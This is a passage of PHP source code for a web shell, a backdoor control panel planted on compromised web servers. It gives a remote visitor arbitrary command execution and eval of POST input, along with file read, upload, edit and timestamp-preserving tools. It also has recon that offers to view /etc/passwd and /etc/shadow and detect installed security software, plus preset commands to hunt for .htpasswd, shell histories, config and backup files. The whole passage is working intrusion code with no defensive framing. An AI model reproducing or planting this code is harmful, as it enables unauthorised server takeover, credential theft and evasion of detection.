(\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\n\t\t \'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\n}\nfunction hardFooter() {\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#FFDB5F\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\n    echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\n\t<tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\n\t\t<input type=hidden name=a value=\'FilesMan\'>\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\n\t\t<input type=hidden name=ne value=\'\'>\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\n\t</tr></table></div>\n\t<!-- particles --> <div id=\'particles-js\'></div><script src=\'http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script>\n\t<script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script>\n\t</body></html>";\n}\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\nfunction ex($in) {\n\t$▖ = \'\';\n\tif (function_exists(\'exec\')) {\n\t\t@exec($in,$▖);\n\t\t$▖ = @join("\\n",$▖);\n\t} elseif (function_exists(\'passthru\')) {\n\t\tob_start();\n\t\t@passthru($in);\n\t\t$▖ = ob_get_clean();\n\t} elseif (function_exists(\'system\')) {\n\t\tob_start();\n\t\t@system($in);\n\t\t$▖ = ob_get_clean();\n\t} elseif (function_exists(\'shell_exec\')) {\n\t\t$▖ = shell_exec($in);\n\t} elseif (is_resource($f = @popen($in,"r"))) {\n\t\t$▖ = "";\n\t\twhile(!@feof($f))\n\t\t\t$▖ .= fread($f,1024);\n\t\tpclose($f);\n\t}else return "↳ Unable to execute command\\n";\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\n}\nfunction viewSize($s) {\n\tif($s >= 1073741824)\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\telseif($s >= 1048576)\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\telseif($s >= 1024)\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\telse\n\t\treturn $s . \' B\';\n}\nfunction perms($p) {\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\telse $i = \'u\';\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\treturn $i;\n}\nfunction viewPermsColor($f) {\n\tif (!@is_readable($f))\n\t\treturn \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';\n\telseif (!@is_writable($f))\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\n\telse\n\t\treturn \'<font color=#FFDB5F><b>\'.perms(@fileperms($f)).\'</b></font>\';\n}\nfunction hardScandir($dir) {\n    if(function_exists("scandir")) {\n        return scandir($dir);\n    } else {\n        $dh  = opendir($dir);\n        while (false !== ($filename = readdir($dh)))\n            $files[] = $filename;\n        return $files;\n    }\n}\nfunction which($p) {\n\t$path = ex(\'which \' . $p);\n\tif(!empty($path))\n\t\treturn $path;\n\treturn false;\n}\nfunction actionRC() {\n\tif(!@$_POST[\'p1\']) {\n\t\t$a = array(\n\t\t\t"uname" => php_uname(),\n\t\t\t"php_version" => phpversion(),\n\t\t\t"VERSION" => VERSION,\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\t\t);\n\t\techo serialize($a);\n\t} else {\n\t\teval($_POST[\'p1\']);\n\t}\n}\nfunction prototype($k, $v) {\n    $_COOKIE[$k] = $v;\n    setcookie($k, $v);\n}\nfunction actionSecInfo() {\n\thardHeader();\n\techo \'<h1>Server security information</h1><div class=content>\';\n\tfunction showSecParam($n, $v) {\n\t\t$v = trim($v);\n\t\tif($v) {\n\t\t\techo \'<span>\' . $n . \': </span>\';\n\t\t\tif(strpos($v, "\\n") === false)\n\t\t\t\techo $v . \'<br>\';\n\t\t\telse\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\n\t\t}\n\t}\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n    if(function_exists(\'apache_get_modules\'))\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\t$temp=array();\n\tif(function_exists(\'mysql_get_client_info\'))\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\tif(function_exists(\'mssql_connect\'))\n\t\t$temp[] = "MSSQL";\n\tif(function_exists(\'pg_connect\'))\n\t\t$temp[] = "PostgreSQL";\n\tif(function_exists(\'oci_connect\'))\n\t\t$temp[] = "Oracle";\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\n\techo \'<br>\';\n\tif($GLOBALS[\'os\'] == \'nix\') {\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n            if(!$GLOBALS[\'safe_mode\']) {\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n                echo \'<br>\';\n                $temp=array();\n                foreach ($userful as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Userful\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($danger as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Danger\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($downloaders as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\n                echo \'<br/>\';\n                showSecParam(\'HDD space\', ex(\'df -h\'));\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\n            }\n\t} else {\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionFilesTools() {\n\tif( isset($_POST[\'p1\']) )\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\tif(@$_POST[\'p2\']==\'download\') {\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\t\t\tob_start("ob_gzhandler", 4096);\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\t\t\tif (function_exists("mime_content_type")) {\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\t\t\t\theader("Content-Type: " . $type);\n\t\t\t} else\n                header("Content-Type: application/octet-stream");\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\t\t\tif($fp) {\n\t\t\t\twhile(!@feof($fp))\n\t\t\t\t\techo @fread($fp, 1024);\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}exit;\n\t}\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\t\tif(!file_exists($_POST[\'p1\'])) {\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\t\t\tif($fp) {\n\t\t\t\t$_POST[\'p2\'] = "edit";\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}\n\t}\n\thardHeader();\n\techo \'<h1>File tools</h1><div class=content>\';\n\tif( !file_exists(@$_POST[\'p1\']) ) {\n\t\techo \'File not exists\';\n\t\thardFooter();\n\t\treturn;\n\t}\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\tif(!$uid) {\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n\tif( empty($_POST[\'p2\']) )\n\t\t$_POST[\'p2\'] = \'view\';\n\tif( is_file($_POST[\'p1\']) )\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\n\telse\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\tforeach($m as $v)\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n\techo \'<br><br>\';\n\tswitch($_POST[\'p2\']) {\n\t\tcase \'view\':\n\t\t\techo \'<pre class=ml1>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</pre>\';\n\t\t\tbreak;\n\t\tcase \'highlight\':\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \'chmod\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$perms = 0;\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'edit\':\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\t\t\t\techo \'File isn\\\'t writeable\';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\t\t\t\tif($fp) {\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\t\t\t\t\t@fclose($fp);\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'hexdump\':\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\t\t\t$n = 0;\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\n\t\t\t$len = strlen($c);\n\t\t\tfor ($i=0; $i<$len; ++$i) {\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\t\t\t\tswitch ( ord($c[$i]) ) {\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\t\t\t\t}\n\t\t\t\t$n++;\n\t\t\t\tif ($n == 32) {\n\t\t\t\t\t$n = 0;\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n\t\t\t\t\t$h[1] .= \'<br>\';\n\t\t\t\t\t$h[2] .= "\\n";\n\t\t\t\t}\n\t\t \t}\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#060a10><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n\t\t\tbreak;\n\t\tcase \'rename\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\n\t\t\t\telse\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'touch\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\t\t\t\tif($time) {\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\t\t\t\t\t\techo \'Fail!\';\n\t\t\t\t\telse\n\t\t\t\t\t\techo \'Touched!\';\n\t\t\t\t} else echo \'Bad time format!\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\t/* (С) 12.2015 mitryz */\n\t\tcase \'frame\':\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\n\t\t\tif ($frameSrc[0] != \'/\')\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\n\t\t\tbreak;\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nif($os == \'win\')\n\t$aliases = array(\n\t\t"List Directory" => "dir",\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n    \t"Show active connections" => "netstat -an",\n    \t"Show running services" => "net start",\n    \t"User accounts" => "net user",\n    \t"Show computers" => "net view",\n\t\t"ARP Table" => "arp -a",\n\t\t"IP Configuration" => "ipconfig /all"\n\t);\nelse\n\t$aliases = array(\n  \t\t"List dir" => "ls -lha",\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\n        "process status" => "ps aux",\n\t\t"Find" => "",\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\t\t"Locate" => "",\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\n\t\t"locate my.conf files" => "locate my.conf",\n\t\t"locate admin.php files" =>"locate admin.php",\n\t\t"locate cfg.php files" => "locate cfg.php",\n\t\t"locate conf.php files" => "locate conf.php",\n\t\t"locate config.dat files" => "locate config.dat",\n\t\t"locate config.php files" => "locate config.php",\n\t\t"locate config.inc files" => "locate config.inc",\n\t\t"locate config.inc.php" => "locate config.inc.php",\n\t\t"locate config.default.php files" => "locate config.default.php",\n\t\t"locate config* files " => "locate config",\n\t\t"locate .conf files"=>"locate \'.conf\'",\n\t\t"locate .pwd files" => "locate \'.pwd\'",\n\t\t"locate .sql files" => "locate \'.sql\'",\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\n\t\t"locate backup files" => "locate backup",\n\t\t"locate dump files" => "locate dump",\n\t\t"locate priv files" => "locate priv"\n\t);\nfunction actionConsole() {\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n        $_POST[\'p1\'] .= \' 2>&1\';\n    } elseif(!empty($_POST[\'p1\']))\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\techo "d.cf.cmd.value=\'\';\\n";\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\t\t\tif(@chdir($match[1])) {\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\t\t\t}\n\t\t}\n\t\techo "d.cf.output.value+=\'".$temp."\';";\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\t\t$temp = ob_get_clean();\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\thardHeader();\n    echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array(\'\');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push(\'\');\n\tcur = cmds.length-1;\n}\n</script>";\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\n\t\tif($v == \'\') {\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n\t\t\tcontinue;\n\t\t}\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n\t}\n\t\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\n\t}\n\techo \'</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\n\thardFooter();\n}\nfunction actionPhp() {\n\tif( isset($_POST[\'ajax\']) ) 